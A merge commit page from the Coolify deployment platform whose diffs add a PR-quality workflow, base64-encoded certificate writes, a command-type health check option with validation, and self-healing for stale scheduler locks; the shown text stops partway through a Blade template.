Merge remote-tracking branch 'origin/next' into audit-policies

# Conflicts:
#	tests/Unit/Policies/GithubAppPolicyTest.php
#	tests/Unit/Policies/SharedEnvironmentVariablePolicyTest.php
This commit is contained in:
Andras Bacsai 2026-02-25 18:53:39 +01:00
commit f09bbb4a04
36 changed files with 915 additions and 175 deletions

View file

@ -1,86 +0,0 @@
name: Remove Labels and Assignees on Issue Close
on:
issues:
types: [closed]
pull_request:
types: [closed]
pull_request_target:
types: [closed]
permissions:
issues: write
pull-requests: write
jobs:
remove-labels-and-assignees:
runs-on: ubuntu-latest
steps:
- name: Remove labels and assignees
uses: actions/github-script@v7
with:
github-token: ${{ secrets.GITHUB_TOKEN }}
script: |
const { owner, repo } = context.repo;
async function processIssue(issueNumber, isFromPR = false, prBaseBranch = null) {
try {
if (isFromPR && prBaseBranch !== 'v4.x') {
return;
}
const { data: currentLabels } = await github.rest.issues.listLabelsOnIssue({
owner,
repo,
issue_number: issueNumber
});
const labelsToKeep = currentLabels
.filter(label => label.name === '⏱︎ Stale')
.map(label => label.name);
await github.rest.issues.setLabels({
owner,
repo,
issue_number: issueNumber,
labels: labelsToKeep
});
const { data: issue } = await github.rest.issues.get({
owner,
repo,
issue_number: issueNumber
});
if (issue.assignees && issue.assignees.length > 0) {
await github.rest.issues.removeAssignees({
owner,
repo,
issue_number: issueNumber,
assignees: issue.assignees.map(assignee => assignee.login)
});
}
} catch (error) {
if (error.status !== 404) {
console.error(`Error processing issue ${issueNumber}:`, error);
}
}
}
if (context.eventName === 'issues') {
await processIssue(context.payload.issue.number);
}
if (context.eventName === 'pull_request' || context.eventName === 'pull_request_target') {
const pr = context.payload.pull_request;
await processIssue(pr.number);
if (pr.merged && pr.base.ref === 'v4.x' && pr.body) {
const issueReferences = pr.body.match(/#(\d+)/g);
if (issueReferences) {
for (const reference of issueReferences) {
const issueNumber = parseInt(reference.substring(1));
await processIssue(issueNumber, true, pr.base.ref);
}
}
}
}

View file

@ -8,6 +8,7 @@ on:
- .github/workflows/coolify-helper-next.yml
- .github/workflows/coolify-realtime.yml
- .github/workflows/coolify-realtime-next.yml
- .github/workflows/pr-quality.yaml
- docker/coolify-helper/Dockerfile
- docker/coolify-realtime/Dockerfile
- docker/testing-host/Dockerfile

View file

@ -11,6 +11,7 @@ on:
- .github/workflows/coolify-helper-next.yml
- .github/workflows/coolify-realtime.yml
- .github/workflows/coolify-realtime-next.yml
- .github/workflows/pr-quality.yaml
- docker/coolify-helper/Dockerfile
- docker/coolify-realtime/Dockerfile
- docker/testing-host/Dockerfile

View file

@ -3,6 +3,12 @@ name: Generate Changelog
on:
push:
branches: [ v4.x ]
paths-ignore:
- .github/workflows/coolify-helper.yml
- .github/workflows/coolify-helper-next.yml
- .github/workflows/coolify-realtime.yml
- .github/workflows/coolify-realtime-next.yml
- .github/workflows/pr-quality.yaml
workflow_dispatch:
permissions:

96
.github/workflows/pr-quality.yaml vendored Normal file
View file

@ -0,0 +1,96 @@
name: PR Quality
permissions:
contents: read
issues: read
pull-requests: write
on:
pull_request_target:
types: [opened, reopened]
jobs:
pr-quality:
runs-on: ubuntu-latest
steps:
- uses: peakoss/anti-slop@v0
with:
# General Settings
max-failures: 3
# PR Branch Checks
allowed-target-branches: "next"
blocked-target-branches: ""
allowed-source-branches: ""
blocked-source-branches: |
main
master
v4.x
next
# PR Quality Checks
max-negative-reactions: 0
require-maintainer-can-modify: true
# PR Title Checks
require-conventional-title: true
# PR Description Checks
require-description: true
max-description-length: 0
max-emoji-count: 2
require-pr-template: true
require-linked-issue: false
blocked-terms: "STRAWBERRY"
blocked-issue-numbers: 8154
# Commit Message Checks
require-conventional-commits: false
blocked-commit-authors: "claude,copilot"
# File Checks
allowed-file-extensions: ""
allowed-paths: ""
blocked-paths: |
README.md
SECURITY.md
LICENSE
CODE_OF_CONDUCT.md
templates/service-templates-latest.json
templates/service-templates.json
require-final-newline: true
# User Health Checks
min-repo-merged-prs: 0
min-repo-merge-ratio: 0
min-global-merge-ratio: 30
global-merge-ratio-exclude-own: false
min-account-age: 10
# Exemptions
exempt-author-association: "OWNER,MEMBER,COLLABORATOR"
exempt-users: ""
exempt-bots: |
actions-user
dependabot[bot]
renovate[bot]
github-actions[bot]
exempt-draft-prs: false
exempt-label: "quality/exempt"
exempt-pr-label: ""
exempt-milestones: ""
exempt-pr-milestones: ""
exempt-all-milestones: false
exempt-all-pr-milestones: false
# PR Success Actions
success-add-pr-labels: "quality/verified"
# PR Failure Actions
close-pr: true
lock-pr: false
delete-branch: false
failure-pr-message: "This PR did not pass quality checks so it will be closed. If you believe this is a mistake please let us know."
failure-remove-pr-labels: ""
failure-remove-all-pr-labels: true
failure-add-pr-labels: "quality/rejected"

View file

@ -30,12 +30,14 @@ public function handle(Server $server)
);
$caCertPath = config('constants.coolify.base_config_path').'/ssl/';
$base64Cert = base64_encode($serverCert->ssl_certificate);
$commands = collect([
"mkdir -p $caCertPath",
"chown -R 9999:root $caCertPath",
"chmod -R 700 $caCertPath",
"rm -rf $caCertPath/coolify-ca.crt",
"echo '{$serverCert->ssl_certificate}' > $caCertPath/coolify-ca.crt",
"echo '{$base64Cert}' | base64 -d | tee $caCertPath/coolify-ca.crt > /dev/null",
"chmod 644 $caCertPath/coolify-ca.crt",
]);
remote_process($commands, $server);

View file

@ -40,7 +40,7 @@ protected function schedule(Schedule $schedule): void
}
// $this->scheduleInstance->job(new CleanupStaleMultiplexedConnections)->hourly();
$this->scheduleInstance->command('cleanup:redis')->weekly();
$this->scheduleInstance->command('cleanup:redis --clear-locks')->daily();
if (isDev()) {
// Instance Jobs

View file

@ -1002,7 +1002,7 @@ private function create_application(Request $request, $type)
if ($return instanceof \Illuminate\Http\JsonResponse) {
return $return;
}
$allowedFields = ['project_uuid', 'environment_name', 'environment_uuid', 'server_uuid', 'destination_uuid', 'type', 'name', 'description', 'is_static', 'is_spa', 'is_auto_deploy_enabled', 'is_force_https_enabled', 'domains', 'git_repository', 'git_branch', 'git_commit_sha', 'private_key_uuid', 'docker_registry_image_name', 'docker_registry_image_tag', 'build_pack', 'install_command', 'build_command', 'start_command', 'ports_exposes', 'ports_mappings', 'custom_network_aliases', 'base_directory', 'publish_directory', 'health_check_enabled', 'health_check_path', 'health_check_port', 'health_check_host', 'health_check_method', 'health_check_return_code', 'health_check_scheme', 'health_check_response_text', 'health_check_interval', 'health_check_timeout', 'health_check_retries', 'health_check_start_period', 'limits_memory', 'limits_memory_swap', 'limits_memory_swappiness', 'limits_memory_reservation', 'limits_cpus', 'limits_cpuset', 'limits_cpu_shares', 'custom_labels', 'custom_docker_run_options', 'post_deployment_command', 'post_deployment_command_container', 'pre_deployment_command', 'pre_deployment_command_container', 'manual_webhook_secret_github', 'manual_webhook_secret_gitlab', 'manual_webhook_secret_bitbucket', 'manual_webhook_secret_gitea', 'redirect', 'github_app_uuid', 'instant_deploy', 'dockerfile', 'dockerfile_location', 'docker_compose_location', 'docker_compose_raw', 'docker_compose_custom_start_command', 'docker_compose_custom_build_command', 'docker_compose_domains', 'watch_paths', 'use_build_server', 'static_image', 'custom_nginx_configuration', 'is_http_basic_auth_enabled', 'http_basic_auth_username', 'http_basic_auth_password', 'connect_to_docker_network', 'force_domain_override', 'autogenerate_domain', 'is_container_label_escape_enabled'];
$allowedFields = ['project_uuid', 'environment_name', 'environment_uuid', 'server_uuid', 'destination_uuid', 'type', 'name', 'description', 'is_static', 'is_spa', 'is_auto_deploy_enabled', 'is_force_https_enabled', 'domains', 'git_repository', 'git_branch', 'git_commit_sha', 'private_key_uuid', 'docker_registry_image_name', 'docker_registry_image_tag', 'build_pack', 'install_command', 'build_command', 'start_command', 'ports_exposes', 'ports_mappings', 'custom_network_aliases', 'base_directory', 'publish_directory', 'health_check_enabled', 'health_check_type', 'health_check_command', 'health_check_path', 'health_check_port', 'health_check_host', 'health_check_method', 'health_check_return_code', 'health_check_scheme', 'health_check_response_text', 'health_check_interval', 'health_check_timeout', 'health_check_retries', 'health_check_start_period', 'limits_memory', 'limits_memory_swap', 'limits_memory_swappiness', 'limits_memory_reservation', 'limits_cpus', 'limits_cpuset', 'limits_cpu_shares', 'custom_labels', 'custom_docker_run_options', 'post_deployment_command', 'post_deployment_command_container', 'pre_deployment_command', 'pre_deployment_command_container', 'manual_webhook_secret_github', 'manual_webhook_secret_gitlab', 'manual_webhook_secret_bitbucket', 'manual_webhook_secret_gitea', 'redirect', 'github_app_uuid', 'instant_deploy', 'dockerfile', 'dockerfile_location', 'docker_compose_location', 'docker_compose_raw', 'docker_compose_custom_start_command', 'docker_compose_custom_build_command', 'docker_compose_domains', 'watch_paths', 'use_build_server', 'static_image', 'custom_nginx_configuration', 'is_http_basic_auth_enabled', 'http_basic_auth_username', 'http_basic_auth_password', 'connect_to_docker_network', 'force_domain_override', 'autogenerate_domain', 'is_container_label_escape_enabled'];
$validator = customApiValidator($request->all(), [
'name' => 'string|max:255',
@ -2460,7 +2460,7 @@ public function update_by_uuid(Request $request)
$this->authorize('update', $application);
$server = $application->destination->server;
$allowedFields = ['name', 'description', 'is_static', 'is_spa', 'is_auto_deploy_enabled', 'is_force_https_enabled', 'domains', 'git_repository', 'git_branch', 'git_commit_sha', 'docker_registry_image_name', 'docker_registry_image_tag', 'build_pack', 'static_image', 'install_command', 'build_command', 'start_command', 'ports_exposes', 'ports_mappings', 'custom_network_aliases', 'base_directory', 'publish_directory', 'health_check_enabled', 'health_check_path', 'health_check_port', 'health_check_host', 'health_check_method', 'health_check_return_code', 'health_check_scheme', 'health_check_response_text', 'health_check_interval', 'health_check_timeout', 'health_check_retries', 'health_check_start_period', 'limits_memory', 'limits_memory_swap', 'limits_memory_swappiness', 'limits_memory_reservation', 'limits_cpus', 'limits_cpuset', 'limits_cpu_shares', 'custom_labels', 'custom_docker_run_options', 'post_deployment_command', 'post_deployment_command_container', 'pre_deployment_command', 'pre_deployment_command_container', 'watch_paths', 'manual_webhook_secret_github', 'manual_webhook_secret_gitlab', 'manual_webhook_secret_bitbucket', 'manual_webhook_secret_gitea', 'dockerfile_location', 'docker_compose_location', 'docker_compose_custom_start_command', 'docker_compose_custom_build_command', 'docker_compose_domains', 'redirect', 'instant_deploy', 'use_build_server', 'custom_nginx_configuration', 'is_http_basic_auth_enabled', 'http_basic_auth_username', 'http_basic_auth_password', 'connect_to_docker_network', 'force_domain_override', 'is_container_label_escape_enabled'];
$allowedFields = ['name', 'description', 'is_static', 'is_spa', 'is_auto_deploy_enabled', 'is_force_https_enabled', 'domains', 'git_repository', 'git_branch', 'git_commit_sha', 'docker_registry_image_name', 'docker_registry_image_tag', 'build_pack', 'static_image', 'install_command', 'build_command', 'start_command', 'ports_exposes', 'ports_mappings', 'custom_network_aliases', 'base_directory', 'publish_directory', 'health_check_enabled', 'health_check_type', 'health_check_command', 'health_check_path', 'health_check_port', 'health_check_host', 'health_check_method', 'health_check_return_code', 'health_check_scheme', 'health_check_response_text', 'health_check_interval', 'health_check_timeout', 'health_check_retries', 'health_check_start_period', 'limits_memory', 'limits_memory_swap', 'limits_memory_swappiness', 'limits_memory_reservation', 'limits_cpus', 'limits_cpuset', 'limits_cpu_shares', 'custom_labels', 'custom_docker_run_options', 'post_deployment_command', 'post_deployment_command_container', 'pre_deployment_command', 'pre_deployment_command_container', 'watch_paths', 'manual_webhook_secret_github', 'manual_webhook_secret_gitlab', 'manual_webhook_secret_bitbucket', 'manual_webhook_secret_gitea', 'dockerfile_location', 'docker_compose_location', 'docker_compose_custom_start_command', 'docker_compose_custom_build_command', 'docker_compose_domains', 'redirect', 'instant_deploy', 'use_build_server', 'custom_nginx_configuration', 'is_http_basic_auth_enabled', 'http_basic_auth_username', 'http_basic_auth_password', 'connect_to_docker_network', 'force_domain_override', 'is_container_label_escape_enabled'];
$validationRules = [
'name' => 'string|max:255',

View file

@ -1810,7 +1810,8 @@ private function health_check()
$counter = 1;
$this->application_deployment_queue->addLogEntry('Waiting for healthcheck to pass on the new container.');
if ($this->full_healthcheck_url && ! $this->application->custom_healthcheck_found) {
$this->application_deployment_queue->addLogEntry("Healthcheck URL (inside the container): {$this->full_healthcheck_url}");
$healthcheckLabel = $this->application->health_check_type === 'cmd' ? 'Healthcheck command' : 'Healthcheck URL';
$this->application_deployment_queue->addLogEntry("{$healthcheckLabel} (inside the container): {$this->full_healthcheck_url}");
}
$this->application_deployment_queue->addLogEntry("Waiting for the start period ({$this->application->health_check_start_period} seconds) before starting healthcheck.");
$sleeptime = 0;
@ -2768,6 +2769,14 @@ private function generate_local_persistent_volumes_only_volume_names()
private function generate_healthcheck_commands()
{
// Handle CMD type healthcheck
if ($this->application->health_check_type === 'cmd' && ! empty($this->application->health_check_command)) {
$this->full_healthcheck_url = $this->application->health_check_command;
return $this->application->health_check_command;
}
// HTTP type healthcheck (default)
if (! $this->application->health_check_port) {
$health_check_port = (int) $this->application->ports_exposes_array[0];
} else {

View file

@ -15,7 +15,9 @@
use Illuminate\Queue\SerializesModels;
use Illuminate\Support\Carbon;
use Illuminate\Support\Collection;
use Illuminate\Support\Facades\Cache;
use Illuminate\Support\Facades\Log;
use Illuminate\Support\Facades\Redis;
class ScheduledJobManager implements ShouldQueue
{
@ -54,6 +56,11 @@ private function determineQueue(): string
*/
public function middleware(): array
{
// Self-healing: clear any stale lock before WithoutOverlapping tries to acquire it.
// Stale locks (TTL = -1) can occur during upgrades, Redis restarts, or edge cases.
// @see https://github.com/coollabsio/coolify/issues/8327
self::clearStaleLockIfPresent();
return [
(new WithoutOverlapping('scheduled-job-manager'))
->expireAfter(90) // Lock expires after 90s to handle high-load environments with many tasks
@ -61,6 +68,34 @@ public function middleware(): array
];
}
/**
* Clear a stale WithoutOverlapping lock if it has no TTL (TTL = -1).
*
* This provides continuous self-healing since it runs every time the job is dispatched.
* Stale locks permanently block all scheduled job executions with no user-visible error.
*/
private static function clearStaleLockIfPresent(): void
{
try {
$cachePrefix = config('cache.prefix', '');
$lockKey = $cachePrefix.'laravel-queue-overlap:'.self::class.':scheduled-job-manager';
$ttl = Redis::connection('default')->ttl($lockKey);
if ($ttl === -1) {
Redis::connection('default')->del($lockKey);
Log::channel('scheduled')->warning('Cleared stale ScheduledJobManager lock', [
'lock_key' => $lockKey,
]);
}
} catch (\Throwable $e) {
// Never let lock cleanup failure prevent the job from running
Log::channel('scheduled-errors')->error('Failed to check/clear stale lock', [
'error' => $e->getMessage(),
]);
}
}
public function handle(): void
{
// Freeze the execution time at the start of the job
@ -108,6 +143,13 @@ public function handle(): void
'dispatched' => $this->dispatchedCount,
'skipped' => $this->skippedCount,
]);
// Write heartbeat so the UI can detect when the scheduler has stopped
try {
Cache::put('scheduled-job-manager:heartbeat', now()->toIso8601String(), 300);
} catch (\Throwable) {
// Non-critical; don't let heartbeat failure affect the job
}
}
private function processScheduledBackups(): void

View file

@ -16,6 +16,12 @@ class HealthChecks extends Component
#[Validate(['boolean'])]
public bool $healthCheckEnabled = false;
#[Validate(['string', 'in:http,cmd'])]
public string $healthCheckType = 'http';
#[Validate(['nullable', 'required_if:healthCheckType,cmd', 'string', 'max:1000', 'regex:/^[a-zA-Z0-9 \-_.\/:=@,+]+$/'])]
public ?string $healthCheckCommand = null;
#[Validate(['required', 'string', 'in:GET,HEAD,POST,OPTIONS'])]
public string $healthCheckMethod;
@ -54,6 +60,8 @@ class HealthChecks extends Component
protected $rules = [
'healthCheckEnabled' => 'boolean',
'healthCheckType' => 'string|in:http,cmd',
'healthCheckCommand' => ['nullable', 'string', 'max:1000', 'regex:/^[a-zA-Z0-9 \-_.\/:=@,+]+$/'],
'healthCheckPath' => ['required', 'string', 'regex:#^[a-zA-Z0-9/\-_.~%]+$#'],
'healthCheckPort' => 'nullable|integer|min:1|max:65535',
'healthCheckHost' => ['required', 'string', 'regex:/^[a-zA-Z0-9.\-_]+$/'],
@ -85,6 +93,8 @@ public function syncData(bool $toModel = false): void
// Sync to model
$this->resource->health_check_enabled = $this->healthCheckEnabled;
$this->resource->health_check_type = $this->healthCheckType;
$this->resource->health_check_command = $this->healthCheckCommand;
$this->resource->health_check_method = $this->healthCheckMethod;
$this->resource->health_check_scheme = $this->healthCheckScheme;
$this->resource->health_check_host = $this->healthCheckHost;
@ -102,6 +112,8 @@ public function syncData(bool $toModel = false): void
} else {
// Sync from model
$this->healthCheckEnabled = $this->resource->health_check_enabled;
$this->healthCheckType = $this->resource->health_check_type ?? 'http';
$this->healthCheckCommand = $this->resource->health_check_command;
$this->healthCheckMethod = $this->resource->health_check_method;
$this->healthCheckScheme = $this->resource->health_check_scheme;
$this->healthCheckHost = $this->resource->health_check_host;
@ -120,9 +132,12 @@ public function syncData(bool $toModel = false): void
public function instantSave()
{
$this->authorize('update', $this->resource);
$this->validate();
// Sync component properties to model
$this->resource->health_check_enabled = $this->healthCheckEnabled;
$this->resource->health_check_type = $this->healthCheckType;
$this->resource->health_check_command = $this->healthCheckCommand;
$this->resource->health_check_method = $this->healthCheckMethod;
$this->resource->health_check_scheme = $this->healthCheckScheme;
$this->resource->health_check_host = $this->healthCheckHost;
@ -147,6 +162,8 @@ public function submit()
// Sync component properties to model
$this->resource->health_check_enabled = $this->healthCheckEnabled;
$this->resource->health_check_type = $this->healthCheckType;
$this->resource->health_check_command = $this->healthCheckCommand;
$this->resource->health_check_method = $this->healthCheckMethod;
$this->resource->health_check_scheme = $this->healthCheckScheme;
$this->resource->health_check_host = $this->healthCheckHost;
@ -175,6 +192,8 @@ public function toggleHealthcheck()
// Sync component properties to model
$this->resource->health_check_enabled = $this->healthCheckEnabled;
$this->resource->health_check_type = $this->healthCheckType;
$this->resource->health_check_command = $this->healthCheckCommand;
$this->resource->health_check_method = $this->healthCheckMethod;
$this->resource->health_check_scheme = $this->healthCheckScheme;
$this->resource->health_check_host = $this->healthCheckHost;

View file

@ -60,10 +60,16 @@ public function saveCaCertificate()
throw new \Exception('Certificate content cannot be empty.');
}
if (! openssl_x509_read($this->certificateContent)) {
$parsedCert = openssl_x509_read($this->certificateContent);
if (! $parsedCert) {
throw new \Exception('Invalid certificate format.');
}
if (! openssl_x509_export($parsedCert, $cleanedCertificate)) {
throw new \Exception('Failed to process certificate.');
}
$this->certificateContent = $cleanedCertificate;
if ($this->caCertificate) {
$this->caCertificate->ssl_certificate = $this->certificateContent;
$this->caCertificate->save();
@ -114,12 +120,14 @@ private function writeCertificateToServer()
{
$caCertPath = config('constants.coolify.base_config_path').'/ssl/';
$base64Cert = base64_encode($this->certificateContent);
$commands = collect([
"mkdir -p $caCertPath",
"chown -R 9999:root $caCertPath",
"chmod -R 700 $caCertPath",
"rm -rf $caCertPath/coolify-ca.crt",
"echo '{$this->certificateContent}' > $caCertPath/coolify-ca.crt",
"echo '{$base64Cert}' | base64 -d | tee $caCertPath/coolify-ca.crt > /dev/null",
"chmod 644 $caCertPath/coolify-ca.crt",
]);

View file

@ -3,8 +3,13 @@
namespace App\Livewire\Server;
use App\Jobs\DockerCleanupJob;
use App\Models\DockerCleanupExecution;
use App\Models\Server;
use Cron\CronExpression;
use Illuminate\Foundation\Auth\Access\AuthorizesRequests;
use Illuminate\Support\Carbon;
use Illuminate\Support\Facades\Cache;
use Livewire\Attributes\Computed;
use Livewire\Attributes\Validate;
use Livewire\Component;
@ -34,6 +39,53 @@ class DockerCleanup extends Component
#[Validate('boolean')]
public bool $disableApplicationImageRetention = false;
#[Computed]
public function isCleanupStale(): bool
{
try {
$lastExecution = DockerCleanupExecution::where('server_id', $this->server->id)
->orderBy('created_at', 'desc')
->first();
if (! $lastExecution) {
return false;
}
$frequency = $this->server->settings->docker_cleanup_frequency ?? '0 0 * * *';
if (isset(VALID_CRON_STRINGS[$frequency])) {
$frequency = VALID_CRON_STRINGS[$frequency];
}
$cron = new CronExpression($frequency);
$now = Carbon::now();
$nextRun = Carbon::parse($cron->getNextRunDate($now));
$afterThat = Carbon::parse($cron->getNextRunDate($nextRun));
$intervalMinutes = $nextRun->diffInMinutes($afterThat);
$threshold = max($intervalMinutes * 2, 10);
return Carbon::parse($lastExecution->created_at)->diffInMinutes($now) > $threshold;
} catch (\Throwable) {
return false;
}
}
#[Computed]
public function lastExecutionTime(): ?string
{
return DockerCleanupExecution::where('server_id', $this->server->id)
->orderBy('created_at', 'desc')
->first()
?->created_at
?->diffForHumans();
}
#[Computed]
public function isSchedulerHealthy(): bool
{
return Cache::get('scheduled-job-manager:heartbeat') !== null;
}
public function mount(string $server_uuid)
{
try {

View file

@ -61,6 +61,8 @@
'health_check_timeout' => ['type' => 'integer', 'description' => 'Health check timeout in seconds.'],
'health_check_retries' => ['type' => 'integer', 'description' => 'Health check retries count.'],
'health_check_start_period' => ['type' => 'integer', 'description' => 'Health check start period in seconds.'],
'health_check_type' => ['type' => 'string', 'description' => 'Health check type: http or cmd.', 'enum' => ['http', 'cmd']],
'health_check_command' => ['type' => 'string', 'nullable' => true, 'description' => 'Health check command for CMD type.'],
'limits_memory' => ['type' => 'string', 'description' => 'Memory limit.'],
'limits_memory_swap' => ['type' => 'string', 'description' => 'Memory swap limit.'],
'limits_memory_swappiness' => ['type' => 'integer', 'description' => 'Memory swappiness.'],
@ -1959,7 +1961,6 @@ public function parseHealthcheckFromDockerfile($dockerfile, bool $isInit = false
}
}
public function getLimits(): array
{
return [

View file

@ -1452,12 +1452,14 @@ public function generateCaCertificate()
$certificateContent = $caCertificate->ssl_certificate;
$caCertPath = config('constants.coolify.base_config_path').'/ssl/';
$base64Cert = base64_encode($certificateContent);
$commands = collect([
"mkdir -p $caCertPath",
"chown -R 9999:root $caCertPath",
"chmod -R 700 $caCertPath",
"rm -rf $caCertPath/coolify-ca.crt",
"echo '{$certificateContent}' > $caCertPath/coolify-ca.crt",
"echo '{$base64Cert}' | base64 -d | tee $caCertPath/coolify-ca.crt > /dev/null",
"chmod 644 $caCertPath/coolify-ca.crt",
]);

View file

@ -104,6 +104,8 @@ function sharedDataApplications()
'base_directory' => 'string|nullable',
'publish_directory' => 'string|nullable',
'health_check_enabled' => 'boolean',
'health_check_type' => 'string|in:http,cmd',
'health_check_command' => ['nullable', 'string', 'max:1000', 'regex:/^[a-zA-Z0-9 \-_.\/:=@,+]+$/'],
'health_check_path' => ['string', 'regex:#^[a-zA-Z0-9/\-_.~%]+$#'],
'health_check_port' => 'integer|nullable|min:1|max:65535',
'health_check_host' => ['string', 'regex:/^[a-zA-Z0-9.\-_]+$/'],

View file

@ -0,0 +1,44 @@
<?php
use Illuminate\Database\Migrations\Migration;
use Illuminate\Database\Schema\Blueprint;
use Illuminate\Support\Facades\Schema;
return new class extends Migration
{
/**
* Run the migrations.
*/
public function up(): void
{
if (! Schema::hasColumn('applications', 'health_check_type')) {
Schema::table('applications', function (Blueprint $table) {
$table->text('health_check_type')->default('http')->after('health_check_enabled');
});
}
if (! Schema::hasColumn('applications', 'health_check_command')) {
Schema::table('applications', function (Blueprint $table) {
$table->text('health_check_command')->nullable()->after('health_check_type');
});
}
}
/**
* Reverse the migrations.
*/
public function down(): void
{
if (Schema::hasColumn('applications', 'health_check_type')) {
Schema::table('applications', function (Blueprint $table) {
$table->dropColumn('health_check_type');
});
}
if (Schema::hasColumn('applications', 'health_check_command')) {
Schema::table('applications', function (Blueprint $table) {
$table->dropColumn('health_check_command');
});
}
}
};

View file

@ -26,12 +26,14 @@ public function run()
}
$caCertPath = config('constants.coolify.base_config_path').'/ssl/';
$base64Cert = base64_encode($caCert->ssl_certificate);
$commands = collect([
"mkdir -p $caCertPath",
"chown -R 9999:root $caCertPath",
"chmod -R 700 $caCertPath",
"rm -rf $caCertPath/coolify-ca.crt",
"echo '{$caCert->ssl_certificate}' > $caCertPath/coolify-ca.crt",
"echo '{$base64Cert}' | base64 -d | tee $caCertPath/coolify-ca.crt > /dev/null",
"chmod 644 $caCertPath/coolify-ca.crt",
]);

View file

@ -78,6 +78,7 @@ services:
SOKETI_DEFAULT_APP_ID: "${PUSHER_APP_ID:-coolify}"
SOKETI_DEFAULT_APP_KEY: "${PUSHER_APP_KEY:-coolify}"
SOKETI_DEFAULT_APP_SECRET: "${PUSHER_APP_SECRET:-coolify}"
SOKETI_HOST: "${SOKETI_HOST:-0.0.0.0}"
healthcheck:
test: [ "CMD-SHELL", "curl -fsS http://127.0.0.1:6001/ready && curl -fsS http://127.0.0.1:6002/ready || exit 1" ]
interval: 5s

View file

@ -78,6 +78,7 @@ services:
SOKETI_DEFAULT_APP_ID: "${PUSHER_APP_ID:-coolify}"
SOKETI_DEFAULT_APP_KEY: "${PUSHER_APP_KEY:-coolify}"
SOKETI_DEFAULT_APP_SECRET: "${PUSHER_APP_SECRET:-coolify}"
SOKETI_HOST: "${SOKETI_HOST:-0.0.0.0}"
healthcheck:
test: [ "CMD-SHELL", "curl -fsS http://127.0.0.1:6001/ready && curl -fsS http://127.0.0.1:6002/ready || exit 1" ]
interval: 5s

View file

@ -72,6 +72,7 @@ services:
SOKETI_DEFAULT_APP_ID: "${PUSHER_APP_ID}"
SOKETI_DEFAULT_APP_KEY: "${PUSHER_APP_KEY}"
SOKETI_DEFAULT_APP_SECRET: "${PUSHER_APP_SECRET}"
SOKETI_HOST: "${SOKETI_HOST:-0.0.0.0}"
healthcheck:
test: [ "CMD-SHELL", "wget -qO- http://127.0.0.1:6001/ready && wget -qO- http://127.0.0.1:6002/ready || exit 1" ]
interval: 5s

View file

@ -113,6 +113,7 @@ services:
SOKETI_DEFAULT_APP_ID: "${PUSHER_APP_ID}"
SOKETI_DEFAULT_APP_KEY: "${PUSHER_APP_KEY}"
SOKETI_DEFAULT_APP_SECRET: "${PUSHER_APP_SECRET}"
SOKETI_HOST: "${SOKETI_HOST:-0.0.0.0}"
healthcheck:
test: [ "CMD-SHELL", "wget -qO- http://127.0.0.1:6001/ready && wget -qO- http://127.0.0.1:6002/ready || exit 1" ]
interval: 5s

View file

@ -11024,6 +11024,19 @@
"type": "integer",
"description": "Health check start period in seconds."
},
"health_check_type": {
"type": "string",
"description": "Health check type: http or cmd.",
"enum": [
"http",
"cmd"
]
},
"health_check_command": {
"type": "string",
"nullable": true,
"description": "Health check command for CMD type."
},
"limits_memory": {
"type": "string",
"description": "Memory limit."

View file

@ -6960,6 +6960,16 @@ components:
health_check_start_period:
type: integer
description: 'Health check start period in seconds.'
health_check_type:
type: string
description: 'Health check type: http or cmd.'
enum:
- http
- cmd
health_check_command:
type: string
nullable: true
description: 'Health check command for CMD type.'
limits_memory:
type: string
description: 'Memory limit.'

View file

@ -72,6 +72,7 @@ services:
SOKETI_DEFAULT_APP_ID: "${PUSHER_APP_ID}"
SOKETI_DEFAULT_APP_KEY: "${PUSHER_APP_KEY}"
SOKETI_DEFAULT_APP_SECRET: "${PUSHER_APP_SECRET}"
SOKETI_HOST: "${SOKETI_HOST:-0.0.0.0}"
healthcheck:
test: [ "CMD-SHELL", "wget -qO- http://127.0.0.1:6001/ready && wget -qO- http://127.0.0.1:6002/ready || exit 1" ]
interval: 5s

View file

@ -113,6 +113,7 @@ services:
SOKETI_DEFAULT_APP_ID: "${PUSHER_APP_ID}"
SOKETI_DEFAULT_APP_KEY: "${PUSHER_APP_KEY}"
SOKETI_DEFAULT_APP_SECRET: "${PUSHER_APP_SECRET}"
SOKETI_HOST: "${SOKETI_HOST:-0.0.0.0}"
healthcheck:
test: [ "CMD-SHELL", "wget -qO- http://127.0.0.1:6001/ready && wget -qO- http://127.0.0.1:6002/ready || exit 1" ]
interval: 5s

View file

@ -20,25 +20,51 @@
<p>A custom health check has been detected. If you enable this health check, it will disable the custom one and use this instead.</p>
</x-callout>
@endif
{{-- Healthcheck Type Selector --}}
<div class="flex gap-2">
<x-forms.select canGate="update" :canResource="$resource" id="healthCheckMethod" label="Method" required>
<option value="GET">GET</option>
<option value="POST">POST</option>
<x-forms.select canGate="update" :canResource="$resource" id="healthCheckType" label="Type" required wire:model.live="healthCheckType">
<option value="http">HTTP</option>
<option value="cmd">CMD</option>
</x-forms.select>
<x-forms.select canGate="update" :canResource="$resource" id="healthCheckScheme" label="Scheme" required>
<option value="http">http</option>
<option value="https">https</option>
</x-forms.select>
<x-forms.input canGate="update" :canResource="$resource" id="healthCheckHost" placeholder="localhost" label="Host" required />
<x-forms.input canGate="update" :canResource="$resource" type="number" id="healthCheckPort"
helper="If no port is defined, the first exposed port will be used." placeholder="80" label="Port" />
<x-forms.input canGate="update" :canResource="$resource" id="healthCheckPath" placeholder="/health" label="Path" required />
</div>
<div class="flex gap-2">
<x-forms.input canGate="update" :canResource="$resource" type="number" id="healthCheckReturnCode" placeholder="200" label="Return Code"
required />
<x-forms.input canGate="update" :canResource="$resource" id="healthCheckResponseText" placeholder="OK" label="Response Text" />
</div>
@if ($healthCheckType === 'http')
{{-- HTTP Healthcheck Fields --}}
<div class="flex gap-2">
<x-forms.select canGate="update" :canResource="$resource" id="healthCheckMethod" label="Method" required>
<option value="GET">GET</option>
<option value="POST">POST</option>
</x-forms.select>
<x-forms.select canGate="update" :canResource="$resource" id="healthCheckScheme" label="Scheme" required>
<option value="http">http</option>
<option value="https">https</option>
</x-forms.select>
<x-forms.input canGate="update" :canResource="$resource" id="healthCheckHost" placeholder="localhost" label="Host" required />
<x-forms.input canGate="update" :canResource="$resource" type="number" id="healthCheckPort"
helper="If no port is defined, the first exposed port will be used." placeholder="80" label="Port" />
<x-forms.input canGate="update" :canResource="$resource" id="healthCheckPath" placeholder="/health" label="Path" required />
</div>
<div class="flex gap-2">
<x-forms.input canGate="update" :canResource="$resource" type="number" id="healthCheckReturnCode" placeholder="200" label="Return Code"
required />
<x-forms.input canGate="update" :canResource="$resource" id="healthCheckResponseText" placeholder="OK" label="Response Text" />
</div>
@else
{{-- CMD Healthcheck Fields --}}
<x-callout type="warning" title="Caution">
